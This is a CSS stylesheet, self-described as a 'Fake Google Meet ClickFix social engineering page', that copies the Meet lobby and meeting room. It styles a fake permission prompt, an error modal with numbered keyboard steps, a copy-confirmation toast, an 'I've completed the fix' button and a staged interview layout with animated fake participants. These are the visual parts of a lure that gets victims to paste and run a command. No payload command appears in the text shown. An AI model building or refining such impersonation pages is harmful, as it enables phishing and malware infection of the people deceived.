/* ═══════════════════════════════════════════════════════════════
   FAKE GOOGLE MEET — ClickFix Social Engineering Page
   Pixel-perfect replica of signed-in lobby (camera off state)
   ═══════════════════════════════════════════════════════════════ */

@import url('https://fonts.googleapis.com/css2?family=Google+Sans:wght@400;500;700&family=Google+Sans+Text:wght@400;500&family=Roboto:wght@400;500&display=swap');

/* ── Reset & Base ─────────────────────────────────────────── */
*,
*::before,
*::after {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

html,
body {
    width: 100%;
    height: 100%;
    overflow: hidden;
    font-family: 'Google Sans', 'Roboto', Arial, sans-serif;
    -webkit-font-smoothing: antialiased;
    background: #fff;
}

/* ══════════════════════════════════════════════════════════════
   PERMISSION OVERLAY — Appears on first load
   ══════════════════════════════════════════════════════════════ */

.perm-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.5);
    z-index: 999;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: opacity 0.3s ease;
}

.perm-overlay.dismiss {
    opacity: 0;
    pointer-events: none;
}

.perm-card {
    background: #fff;
    border-radius: 24px;
    padding: 48px 56px 40px;
    max-width: 600px;
    width: 90%;
    display: flex;
    flex-direction: column;
    align-items: center;
    text-align: center;
    box-shadow: 0 8px 28px rgba(0, 0, 0, 0.15);
}

.perm-illustration {
    width: 200px;
    height: auto;
    margin-bottom: 28px;
}

.perm-title {
    font-size: 22px;
    font-weight: 400;
    color: #1f1f1f;
    margin-bottom: 8px;
    font-family: 'Google Sans', sans-serif;
    line-height: 1.4;
}

.perm-subtitle {
    font-size: 14px;
    color: #5f6368;
    margin-bottom: 28px;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
    line-height: 1.4;
}

.perm-btn-row {
    display: flex;
    align-items: center;
    gap: 8px;
    margin-bottom: 16px;
}

.perm-use-btn {
    display: flex;
    align-items: center;
    gap: 8px;
    padding: 12px 40px;
    border-radius: 24px;
    border: 2px solid #1a73e8;
    background: #1a73e8;
    color: #fff;
    font-family: 'Google Sans', sans-serif;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: background 0.15s, box-shadow 0.15s;
}

.perm-use-btn:hover {
    background: #1765cc;
    box-shadow: 0 2px 8px rgba(26, 115, 232, 0.3);
}

.perm-dropdown-btn {
    width: 40px;
    height: 40px;
    border-radius: 50%;
    border: 2px solid #747775;
    background: transparent;
    color: #5f6368;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: background 0.15s;
}

.perm-dropdown-btn:hover {
    background: rgba(0, 0, 0, 0.05);
}

.perm-continue-link {
    font-size: 14px;
    color: #1a73e8;
    text-decoration: none;
    font-family: 'Google Sans', sans-serif;
    font-weight: 500;
    cursor: pointer;
    padding: 6px;
}

.perm-continue-link:hover {
    text-decoration: underline;
}

/* Toast: "Microphone and camera are required" */
.perm-required-toast {
    position: fixed;
    bottom: -60px;
    left: 50%;
    transform: translateX(-50%);
    background: #323232;
    color: #fff;
    padding: 12px 24px;
    border-radius: 8px;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
    font-size: 14px;
    z-index: 1100;
    transition: bottom 0.3s ease;
    white-space: nowrap;
    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.25);
}

.perm-required-toast.show {
    bottom: 32px;
}

/* Checking spinner inside the permission button */
.perm-checking-spinner {
    display: inline-block;
    width: 16px;
    height: 16px;
    border: 2px solid rgba(255, 255, 255, 0.4);
    border-top-color: #fff;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
    vertical-align: middle;
    margin-right: 4px;
}

/* "I've completed the fix" confirm button */
.btn-confirm-fix {
    display: inline-flex;
    align-items: center;
    gap: 8px;
    padding: 10px 24px;
    border: none;
    border-radius: 24px;
    background: #1a73e8;
    color: #fff;
    font-family: 'Google Sans', sans-serif;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: background 0.2s, transform 0.15s;
    margin-top: 8px;
}

.btn-confirm-fix:hover {
    background: #1557b0;
    transform: scale(1.02);
}

.btn-confirm-fix .material-symbols-outlined {
    font-size: 18px;
}

/* Verification spinner overlay inside modal */
.verify-spinner {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    padding: 48px 24px;
    gap: 16px;
}

.verify-spinner p {
    color: #e8eaed;
    font-family: 'Google Sans', sans-serif;
    font-size: 16px;
    margin: 0;
}

.spinner-ring {
    width: 40px;
    height: 40px;
    border: 4px solid rgba(255, 255, 255, 0.15);
    border-top-color: #8ab4f8;
    border-radius: 50%;
    animation: spin 1s linear infinite;
}

@keyframes spin {
    to {
        transform: rotate(360deg);
    }
}

/* ══════════════════════════════════════════════════════════════
   GEMINI NOTES CARD
   ══════════════════════════════════════════════════════════════ */

.gemini-notes-card {
    display: flex;
    align-items: center;
    gap: 12px;
    padding: 12px 16px;
    border-radius: 24px;
    background: #f0f4f8;
    margin-bottom: 16px;
    width: 100%;
    max-width: 260px;
}

.gemini-icon {
    font-size: 20px;
    color: #5f6368;
}

.gemini-notes-text {
    display: flex;
    flex-direction: column;
    flex: 1;
}

.gemini-notes-title {
    font-size: 13px;
    font-weight: 500;
    color: #1f1f1f;
    font-family: 'Google Sans', sans-serif;
}

.gemini-notes-sub {
    font-size: 11px;
    color: #5f6368;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
}

.gemini-start-btn {
    padding: 6px 16px;
    border-radius: 16px;
    border: none;
    background: transparent;
    color: #1a73e8;
    font-family: 'Google Sans', sans-serif;
    font-size: 13px;
    font-weight: 500;
    cursor: pointer;
    white-space: nowrap;
}

.gemini-start-btn:hover {
    background: rgba(26, 115, 232, 0.08);
}

/* ══════════════════════════════════════════════════════════════
   PHASE 1: LOBBY — SIGNED IN STATE (CAMERA OFF)
   ══════════════════════════════════════════════════════════════ */

#lobbyView {
    width: 100%;
    height: 100%;
    background: #fff;
    display: flex;
    flex-direction: column;
    transition: opacity 0.4s ease;
}

#lobbyView.hidden {
    opacity: 0;
    pointer-events: none;
    position: absolute;
}

/* ── Lobby Top Bar ────────────────────────────────────────── */
.lobby-topbar {
    display: flex;
    align-items: center;
    justify-content: space-between;
    height: 64px;
    padding: 0 16px 0 20px;
    flex-shrink: 0;
}

.lobby-logo {
    display: flex;
    align-items: center;
    gap: 10px;
    text-decoration: none;
    color: #1f1f1f;
}

.lobby-logo svg {
    width: 30px;
    height: 30px;
}

.lobby-logo-text {
    font-size: 22px;
    font-weight: 400;
    color: #5f6368;
    letter-spacing: 0;
}

/* Signed-in user area (top-right) */
.lobby-user-area {
    display: flex;
    align-items: center;
    gap: 12px;
}

/* Sign in link (guest mode) */
.lobby-sign-in {
    font-size: 14px;
    color: #1a73e8;
    font-weight: 500;
    text-decoration: none;
    font-family: 'Google Sans', sans-serif;
    cursor: pointer;
    padding: 8px 4px;
}

.lobby-sign-in:hover {
    text-decoration: underline;
}

/* Sign-in tooltip bubble */
.signin-tooltip {
    position: fixed;
    top: 62px;
    right: 16px;
    background: #d3e3fd;
    border-radius: 16px;
    padding: 20px 24px;
    max-width: 280px;
    z-index: 100;
    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
}

.signin-tooltip-arrow {
    position: absolute;
    top: -8px;
    right: 24px;
    width: 16px;
    height: 16px;
    background: #d3e3fd;
    transform: rotate(45deg);
}

.signin-tooltip-title {
    font-size: 14px;
    font-weight: 700;
    color: #1f1f1f;
    margin-bottom: 6px;
    font-family: 'Google Sans', sans-serif;
}

.signin-tooltip-desc {
    font-size: 13px;
    color: #444746;
    line-height: 1.4;
    margin-bottom: 14px;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
}

.signin-tooltip-btn {
    float: right;
    padding: 8px 24px;
    border-radius: 20px;
    border: 1px solid #1f1f1f;
    background: transparent;
    color: #1f1f1f;
    font-family: 'Google Sans', sans-serif;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: background 0.15s;
}

.signin-tooltip-btn:hover {
    background: rgba(0, 0, 0, 0.05);
}

.lobby-user-info {
    display: flex;
    flex-direction: column;
    align-items: flex-end;
    line-height: 1.3;
}

.lobby-user-email {
    font-size: 13px;
    color: #1f1f1f;
    font-weight: 400;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
}

.lobby-switch-account {
    font-size: 12px;
    color: #1a73e8;
    cursor: pointer;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
}

.lobby-switch-account:hover {
    text-decoration: underline;
}

.lobby-user-avatar {
    width: 32px;
    height: 32px;
    border-radius: 50%;
    background: #1a73e8;
    color: #fff;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    flex-shrink: 0;
}

/* ── Name Input & Join Panel for Guest Mode ────────────────── */
.name-input-wrapper {
    width: 100%;
    max-width: 260px;
    margin-bottom: 4px;
    position: relative;
}

.name-input {
    width: 100%;
    padding: 16px 14px;
    border: 1px solid #dadce0;
    border-radius: 4px;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
    font-size: 16px;
    color: #1f1f1f;
    outline: none;
    background: #fff;
    transition: border-color 0.2s;
}

.name-input:focus {
    border-color: #1a73e8;
    border-width: 2px;
    padding: 15px 13px;
}

.name-input::placeholder {
    color: #80868b;
}

.name-char-count {
    display: block;
    text-align: right;
    font-size: 12px;
    color: #5f6368;
    margin-top: 4px;
    margin-bottom: 16px;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
}

.join-btn.ask-to-join {
    background: #dadce0;
    color: #3c4043;
    border-color: #dadce0;
    font-weight: 500;
    cursor: pointer;
    transition: background 0.15s, color 0.15s;
}

.join-btn.ask-to-join:not(.disabled):hover {
    background: #c8cacc;
}

.join-btn.ask-to-join.disabled {
    opacity: 0.6;
    cursor: default;
}

/* Blue "Ask to join" for signed-in users */
.join-btn.join-blue {
    background: #1a73e8;
    color: #fff;
    border: none;
    max-width: 260px;
}

.join-btn.join-blue:hover {
    background: #1765cc;
    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 4px 8px rgba(26, 115, 232, 0.15);
}

/* ── Camera Preview: Permission prompt ─────────────────────── */
.camera-permission-prompt {
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 16px;
    text-align: center;
    padding: 0 40px;
}

.camera-permission-text {
    font-size: 16px;
    color: #e8eaed;
    font-weight: 400;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
    line-height: 1.4;
}

.camera-allow-btn {
    padding: 10px 24px;
    border-radius: 20px;
    border: none;
    background: #1a73e8;
    color: #fff;
    font-family: 'Google Sans', sans-serif;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: background 0.15s;
}

.camera-allow-btn:hover {
    background: #1765cc;
}

/* ── Permission warning badges on mic/cam buttons ──────────── */
.cam-ctrl-btn.permission-blocked {
    background: transparent;
    border: 2px solid rgba(255, 255, 255, 0.4);
    position: relative;
}

.cam-ctrl-btn.permission-blocked .material-symbols-outlined {
    color: #e8eaed;
}

.ctrl-badge {
    position: absolute;
    top: -2px;
    right: -2px;
    width: 18px;
    height: 18px;
    border-radius: 50%;
    background: #f9ab00;
    color: #1f1f1f;
    font-size: 12px;
    font-weight: 700;
    display: flex;
    align-items: center;
    justify-content: center;
    line-height: 1;
}

/* ── Lobby Footer ──────────────────────────────────────────── */
.lobby-footer {
    flex-shrink: 0;
    padding: 16px 0;
    text-align: center;
}

.lobby-footer p {
    font-size: 12px;
    color: #5f6368;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
}

.lobby-footer a {
    color: #1a73e8;
    text-decoration: none;
}

.lobby-footer a:hover {
    text-decoration: underline;
}

/* ── Lobby Main Content ───────────────────────────────────── */
.lobby-content {
    flex: 1;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 56px;
    padding: 0 40px;
    margin-top: -60px;
}

/* ── Camera Preview Box ───────────────────────────────────── */
.camera-preview-wrapper {
    display: flex;
    flex-direction: column;
    align-items: flex-start;
}

.camera-preview {
    width: 640px;
    height: 360px;
    background: #202124;
    border-radius: 8px;
    position: relative;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    overflow: hidden;
    flex-shrink: 0;
}

.camera-name-tag {
    position: absolute;
    top: 12px;
    left: 14px;
    font-size: 13px;
    color: #e8eaed;
    font-weight: 400;
    z-index: 2;
}

.camera-kebab {
    position: absolute;
    top: 8px;
    right: 8px;
    width: 32px;
    height: 32px;
    border-radius: 50%;
    border: none;
    background: transparent;
    color: #9aa0a6;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: background 0.2s;
    z-index: 2;
}

.camera-kebab:hover {
    background: rgba(255, 255, 255, 0.1);
}

.camera-kebab .material-symbols-outlined {
    font-size: 20px;
}

/* Camera is off — centered text */
.camera-off-text {
    font-size: 14px;
    color: #9aa0a6;
    font-weight: 400;
    letter-spacing: 0.1px;
}

/* ── Camera Preview Bottom Controls ───────────────────────── */
.camera-controls {
    position: absolute;
    bottom: 16px;
    left: 0;
    right: 0;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 0 16px;
}

/* Center mic/cam buttons — RED FILLED (off state) */
.cam-ctrl-center {
    display: flex;
    align-items: center;
    gap: 16px;
}

.cam-ctrl-btn {
    width: 48px;
    height: 48px;
    border-radius: 50%;
    border: none;
    background: transparent;
    color: #fff;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: all 0.15s;
    position: relative;
}

.cam-ctrl-btn.off {
    background: #ea4335;
}

.cam-ctrl-btn.off:hover {
    background: #d93025;
}

.cam-ctrl-btn:not(.off) {
    border: 2px solid rgba(255, 255, 255, 0.4);
}

.cam-ctrl-btn:not(.off):hover {
    border-color: rgba(255, 255, 255, 0.7);
    background: rgba(255, 255, 255, 0.08);
}

.cam-ctrl-btn .material-symbols-outlined {
    font-size: 24px;
}

/* Effects button (far right, outline style) */
.cam-effects-btn {
    position: absolute;
    right: 16px;
    bottom: 0;
    width: 48px;
    height: 48px;
    border-radius: 50%;
    border: 2px solid rgba(255, 255, 255, 0.25);
    background: rgba(32, 33, 36, 0.6);
    color: #e8eaed;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: all 0.15s;
}

.cam-effects-btn:hover {
    border-color: rgba(255, 255, 255, 0.5);
    background: rgba(255, 255, 255, 0.1);
}

.cam-effects-btn .material-symbols-outlined {
    font-size: 22px;
}

/* Device pills below camera */
.device-pills {
    display: flex;
    gap: 8px;
    margin-top: 14px;
}

.dev-pill {
    display: flex;
    align-items: center;
    gap: 4px;
    padding: 6px 12px;
    background: #fff;
    border: 1px solid #dadce0;
    border-radius: 18px;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
    font-size: 12px;
    color: #3c4043;
    cursor: pointer;
    transition: background 0.15s;
    white-space: nowrap;
}

.dev-pill:hover {
    background: #f1f3f4;
}

.dev-pill .material-symbols-outlined {
    font-size: 16px;
    color: #5f6368;
}

.pill-arrow {
    font-size: 16px !important;
    color: #5f6368 !important;
    margin-left: 0;
}

/* ── Join Panel (right side) ──────────────────────────────── */
.join-panel {
    display: flex;
    flex-direction: column;
    align-items: center;
    width: 240px;
}

.join-title {
    font-size: 28px;
    font-weight: 400;
    color: #202124;
    margin-bottom: 4px;
    white-space: nowrap;
    font-family: 'Google Sans', sans-serif;
}

.join-subtitle {
    font-size: 14px;
    color: #5f6368;
    margin-bottom: 28px;
    font-family: 'Google Sans Text', 'Roboto', sans-serif;
    font-weight: 400;
}

.join-btn {
    width: 100%;
    max-width: 200px;
    height: 48px;
    border-radius: 24px;
    border: none;
    background: #1a73e8;
    color: #fff;
    font-family: 'Google Sans', sans-serif;
    font-size: 15px;
    font-weight: 500;
    cursor: pointer;
    transition: all 0.15s;
    letter-spacing: 0.25px;
}

.join-btn:hover {
    background: #1765cc;
    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 4px 8px rgba(26, 115, 232, 0.15);
}

.other-ways-btn {
    display: flex;
    align-items: center;
    gap: 4px;
    margin-top: 16px;
    padding: 8px 16px;
    border-radius: 20px;
    border: 1px solid #dadce0;
    background: transparent;
    color: #1a73e8;
    font-family: 'Google Sans', sans-serif;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: background 0.15s;
}

.other-ways-btn:hover {
    background: rgba(26, 115, 232, 0.04);
}

.other-ways-btn .material-symbols-outlined {
    font-size: 18px;
    color: #1a73e8;
}

/* ══════════════════════════════════════════════════════════════
   PHASE 2: MEETING ROOM (dark theme)
   ══════════════════════════════════════════════════════════════ */

#meetingView {
    width: 100%;
    height: 100%;
    background: #202124;
    color: #e8eaed;
    display: none;
    flex-direction: column;
    position: absolute;
    top: 0;
    left: 0;
}

#meetingView.active {
    display: flex;
}

/* ── Top Bar ──────────────────────────────────────────────── */
.top-bar {
    display: flex;
    align-items: center;
    justify-content: space-between;
    height: 64px;
    padding: 0 16px 0 24px;
    background: #202124;
    border-bottom: 1px solid #3c4043;
    z-index: 10;
    position: relative;
}

.top-bar-left {
    display: flex;
    align-items: center;
    gap: 8px;
}

.meet-logo {
    display: flex;
    align-items: center;
    gap: 8px;
    text-decoration: none;
    color: #e8eaed;
}

.meet-logo svg {
    width: 40px;
    height: 40px;
}

.meet-logo-text {
    font-size: 22px;
    font-weight: 400;
    color: #9aa0a6;
}

.meeting-info {
    display: flex;
    align-items: center;
    gap: 12px;
    margin-left: 24px;
    padding-left: 24px;
    border-left: 1px solid #3c4043;
}

.meeting-code {
    font-size: 14px;
    color: #e8eaed;
    font-weight: 500;
}

.meeting-separator {
    width: 1px;
    height: 20px;
    background: #3c4043;
}

.meeting-time {
    font-size: 14px;
    color: #9aa0a6;
}

.top-bar-right {
    display: flex;
    align-items: center;
    gap: 8px;
}

.top-btn {
    width: 40px;
    height: 40px;
    border-radius: 50%;
    border: none;
    background: transparent;
    color: #e8eaed;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: background 0.2s;
}

.top-btn:hover {
    background: #3c4043;
}

.top-btn .material-symbols-outlined {
    font-size: 22px;
}

.user-avatar {
    width: 32px;
    height: 32px;
    border-radius: 50%;
    background: #1a73e8;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 14px;
    font-weight: 500;
    color: #fff;
    margin-left: 8px;
    cursor: pointer;
}

/* ── Main Video Area ──────────────────────────────────────── */
.main-area {
    display: flex;
    flex: 1;
    height: calc(100vh - 64px - 80px);
    padding: 8px;
    gap: 8px;
}

/* Waiting for host layout */
.main-area.waiting-host {
    flex-direction: column;
    align-items: center;
    justify-content: center;
    gap: 24px;
    padding: 0;
}

.waiting-illustration {
    display: flex;
    justify-content: center;
}

.waiting-illustration img {
    width: 280px;
    height: auto;
}

.waiting-text {
    display: flex;
    align-items: center;
    gap: 12px;
    color: #e8eaed;
    font-family: 'Google Sans', sans-serif;
    font-size: 16px;
}

.waiting-spinner {
    width: 18px;
    height: 18px;
    border: 2.5px solid rgba(255, 255, 255, 0.2);
    border-top-color: #8ab4f8;
    border-radius: 50%;
    animation: spin 1s linear infinite;
}

.bottom-bar-left {
    position: absolute;
    left: 16px;
    display: flex;
    align-items: center;
}

.bottom-time {
    color: #e8eaed;
    font-family: 'Google Sans', sans-serif;
    font-size: 14px;
    font-weight: 400;
}

.video-grid {
    flex: 1;
    display: grid;
    gap: 8px;
    padding: 4px;
    grid-template-columns: repeat(3, 1fr);
    grid-template-rows: repeat(2, 1fr);
}

.participant-tile {
    background: #3c4043;
    border-radius: 8px;
    position: relative;
    overflow: hidden;
    display: flex;
    align-items: center;
    justify-content: center;
    min-height: 0;
}

.participant-tile.self {
    border: 2px solid #8ab4f8;
}

.participant-avatar {
    width: 64px;
    height: 64px;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 28px;
    font-weight: 500;
    color: #fff;
}

.participant-name {
    position: absolute;
    bottom: 8px;
    left: 12px;
    font-size: 12px;
    color: #e8eaed;
    font-weight: 500;
    background: rgba(32, 33, 36, 0.7);
    padding: 2px 8px;
    border-radius: 4px;
}

.participant-mic-off {
    position: absolute;
    bottom: 8px;
    right: 12px;
    background: rgba(32, 33, 36, 0.7);
    border-radius: 50%;
    width: 24px;
    height: 24px;
    display: flex;
    align-items: center;
    justify-content: center;
}

.participant-mic-off .material-symbols-outlined {
    font-size: 16px;
    color: #ea4335;
}

.avatar-blue {
    background: #4285f4;
}

.avatar-green {
    background: #34a853;
}

.avatar-red {
    background: #ea4335;
}

.avatar-yellow {
    background: #fbbc05;
}

.avatar-purple {
    background: #a142f4;
}

.avatar-teal {
    background: #24c1e0;
}

/* ── Bottom Controls ──────────────────────────────────────── */
.bottom-bar {
    height: 80px;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 0 16px;
    position: relative;
    background: #202124;
}

.controls-center {
    display: flex;
    align-items: center;
    gap: 12px;
}

.ctrl-btn {
    width: 48px;
    height: 48px;
    border-radius: 50%;
    border: none;
    background: #3c4043;
    color: #e8eaed;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: background 0.2s;
}

.ctrl-btn:hover {
    background: #4a4b4e;
}

.ctrl-btn .material-symbols-outlined {
    font-size: 24px;
}

.ctrl-btn.active-red {
    background: #ea4335;
    color: #fff;
}

.ctrl-btn.active-red:hover {
    background: #d93025;
}

.ctrl-btn.leave {
    background: #ea4335;
    border-radius: 24px;
    width: 56px;
    height: 40px;
    margin-left: 12px;
}

.ctrl-btn.leave:hover {
    background: #d93025;
}

.controls-right {
    position: absolute;
    right: 24px;
    display: flex;
    align-items: center;
    gap: 8px;
}

.controls-right .ctrl-btn {
    width: 40px;
    height: 40px;
}

.controls-right .ctrl-btn .material-symbols-outlined {
    font-size: 20px;
}

.participant-count {
    display: flex;
    align-items: center;
    gap: 4px;
    font-size: 14px;
    color: #e8eaed;
    margin-right: 4px;
}

/* ── Error Modal Overlay ──────────────────────────────────── */
.modal-overlay {
    position: fixed;
    inset: 0;
    background: rgba(0, 0, 0, 0.6);
    backdrop-filter: blur(4px);
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 1000;
    opacity: 0;
    visibility: hidden;
    transition: all 0.3s ease;
}

.modal-overlay.visible {
    opacity: 1;
    visibility: visible;
}

.modal-box {
    background: #2d2e31;
    border-radius: 12px;
    width: 520px;
    max-width: 90vw;
    padding: 32px;
    box-shadow: 0 8px 32px rgba(0, 0, 0, 0.5);
    transform: translateY(20px) scale(0.95);
    transition: transform 0.3s ease;
    position: relative;
}

.modal-overlay.visible .modal-box {
    transform: translateY(0) scale(1);
}

.modal-close {
    position: absolute;
    top: 12px;
    right: 12px;
    width: 32px;
    height: 32px;
    border-radius: 50%;
    border: none;
    background: transparent;
    color: #9aa0a6;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: background 0.2s;
}

.modal-close:hover {
    background: #3c4043;
}

.modal-icon {
    width: 48px;
    height: 48px;
    border-radius: 50%;
    background: rgba(234, 67, 53, 0.15);
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 16px;
}

.modal-icon .material-symbols-outlined {
    font-size: 28px;
    color: #ea4335;
}

.modal-title {
    font-size: 20px;
    font-weight: 500;
    color: #e8eaed;
    margin-bottom: 8px;
}

.modal-desc {
    font-size: 14px;
    color: #9aa0a6;
    line-height: 1.6;
    margin-bottom: 24px;
}

.modal-steps {
    background: #202124;
    border-radius: 8px;
    padding: 20px;
    margin-bottom: 24px;
}

.modal-steps h4 {
    font-size: 13px;
    font-weight: 500;
    color: #8ab4f8;
    text-transform: uppercase;
    letter-spacing: 0.5px;
    margin-bottom: 16px;
}

.step-item {
    display: flex;
    align-items: flex-start;
    gap: 12px;
    margin-bottom: 14px;
}

.step-item:last-child {
    margin-bottom: 0;
}

.step-number {
    width: 24px;
    height: 24px;
    border-radius: 50%;
    background: #8ab4f8;
    color: #202124;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 13px;
    font-weight: 700;
    flex-shrink: 0;
    margin-top: 1px;
}

.step-text {
    font-size: 14px;
    color: #e8eaed;
    line-height: 1.5;
}

.step-text kbd {
    display: inline-block;
    background: #3c4043;
    border: 1px solid #5f6368;
    border-radius: 4px;
    padding: 1px 6px;
    font-family: 'Roboto Mono', monospace;
    font-size: 12px;
    color: #e8eaed;
    margin: 0 2px;
}

.modal-actions {
    display: flex;
    align-items: center;
    gap: 12px;
    justify-content: flex-end;
}

.btn-secondary {
    padding: 10px 24px;
    border-radius: 20px;
    border: 1px solid #5f6368;
    background: transparent;
    color: #8ab4f8;
    font-family: 'Google Sans', sans-serif;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: all 0.2s;
}

.btn-secondary:hover {
    background: rgba(138, 180, 248, 0.08);
}

.btn-primary {
    padding: 10px 24px;
    border-radius: 20px;
    border: none;
    background: #8ab4f8;
    color: #202124;
    font-family: 'Google Sans', sans-serif;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: all 0.2s;
    display: flex;
    align-items: center;
    gap: 8px;
}

.btn-primary:hover {
    background: #aecbfa;
    box-shadow: 0 2px 8px rgba(138, 180, 248, 0.3);
}

.btn-primary .material-symbols-outlined {
    font-size: 18px;
}

/* ── Copy Feedback Toast ──────────────────────────────────── */
.copy-toast {
    position: fixed;
    bottom: 100px;
    left: 50%;
    transform: translateX(-50%) translateY(20px);
    background: #2d2e31;
    color: #e8eaed;
    padding: 10px 24px;
    border-radius: 8px;
    font-size: 14px;
    box-shadow: 0 4px 16px rgba(0, 0, 0, 0.4);
    opacity: 0;
    visibility: hidden;
    transition: all 0.3s ease;
    z-index: 2000;
    display: flex;
    align-items: center;
    gap: 8px;
}

.copy-toast.show {
    opacity: 1;
    visibility: visible;
    transform: translateX(-50%) translateY(0);
}

.copy-toast .material-symbols-outlined {
    font-size: 20px;
    color: #34a853;
}

/* ── Loading spinner (joining transition) ─────────────────── */
.joining-overlay {
    position: fixed;
    inset: 0;
    background: #202124;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    z-index: 500;
    opacity: 0;
    visibility: hidden;
    transition: opacity 0.3s ease;
}

.joining-overlay.visible {
    opacity: 1;
    visibility: visible;
}

.joining-spinner {
    width: 40px;
    height: 40px;
    border: 3px solid #3c4043;
    border-top-color: #8ab4f8;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
    margin-bottom: 20px;
}

@keyframes spin {
    to {
        transform: rotate(360deg);
    }
}

.joining-text {
    font-size: 16px;
    color: #9aa0a6;
}

/* ── Subtle Animations ────────────────────────────────────── */
@keyframes pulse-border {

    0%,
    100% {
        border-color: #8ab4f8;
    }

    50% {
        border-color: #4285f4;
    }
}

.participant-tile.self {
    animation: pulse-border 3s ease-in-out infinite;
}

@keyframes subtle-breathe {

    0%,
    100% {
        opacity: 0.6;
    }

    50% {
        opacity: 1;
    }
}

.participant-tile:not(.self) .participant-avatar {
    animation: subtle-breathe 4s ease-in-out infinite;
}

.participant-tile:nth-child(2) .participant-avatar {
    animation-delay: 0.5s;
}

.participant-tile:nth-child(3) .participant-avatar {
    animation-delay: 1.0s;
}

.participant-tile:nth-child(4) .participant-avatar {
    animation-delay: 1.5s;
}

.participant-tile:nth-child(5) .participant-avatar {
    animation-delay: 2.0s;
}

.participant-tile:nth-child(6) .participant-avatar {
    animation-delay: 2.5s;
}

/* ══════════════════════════════════════════════════════════════
   TWO-PERSON (1-on-1 Interview) Layout
   ══════════════════════════════════════════════════════════════ */

.video-grid.two-person {
    grid-template-columns: 1fr 1fr;
    grid-template-rows: 1fr;
    max-width: 1200px;
    margin: 0 auto;
    align-items: stretch;
}

.video-grid.two-person .participant-tile {
    min-height: 300px;
}

/* Reporter tile: active speaker green border */
.video-grid.two-person .participant-tile.reporter {
    border: 2px solid #34a853;
    box-shadow: 0 0 0 1px rgba(52, 168, 83, 0.3);
}

.video-grid.two-person .participant-tile.reporter .participant-avatar {
    width: 96px;
    height: 96px;
    font-size: 40px;
}

.video-grid.two-person .participant-tile.self .participant-avatar {
    width: 96px;
    height: 96px;
    font-size: 40px;
}

/* Breathing animation on reporter avatar */
.video-grid.two-person .participant-tile.reporter .participant-avatar {
    animation: subtle-breathe 4s ease-in-out infinite;
}